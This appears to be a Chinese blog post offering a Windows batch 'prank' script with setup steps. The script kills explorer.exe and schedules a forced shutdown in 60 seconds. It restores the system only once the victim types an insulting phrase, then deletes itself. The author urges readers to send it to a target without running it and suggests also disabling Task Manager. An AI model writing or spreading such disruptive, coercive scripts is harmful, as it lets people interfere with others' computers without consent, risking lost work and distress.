admin管理员组

文章数量:1794759

批处理简单恶搞代码

批处理简单恶搞代码

今天简单休一下,我们来写个恶搞代码。 (如果有必要你可以加上禁用任务管理器,但是未免有点太狠毒了)

步骤: 1.新建一个文本文档,将后缀名改为.bat。 2.右键,点击“编辑”,输入代码:

@echo off chcp 65001 >nul set target="我是250" title 快在下面输入%target%,否则后果自负! color 0A shutdown /s /t 60 /c "快点输入!" taskkill /im "explorer.exe" /f echo 快点在下面输入%target%,否则1分钟后关机! echo 你现在无法逃避,因为我已经关闭你的电脑的资源 管理器了! echo 不许关闭这个窗口,否则你会打不开系统的!信不 信由你! echo. :input set /p input=在这里输入%target%: if "%input%" == %target% ( echo. echo 哈哈,真乖。 call "%WINDIR%\\explorer.exe" shutdown /a ping 127.0.1 /n 3 >nul del %0 ) else ( echo. echo 快点输入! goto input )

代码完成了。注意不要打开,直接发送给你要恶搞的人吧!一定要注意隔一行写一句代码否则有可能会报错!

本文标签: 批处理恶搞代码简单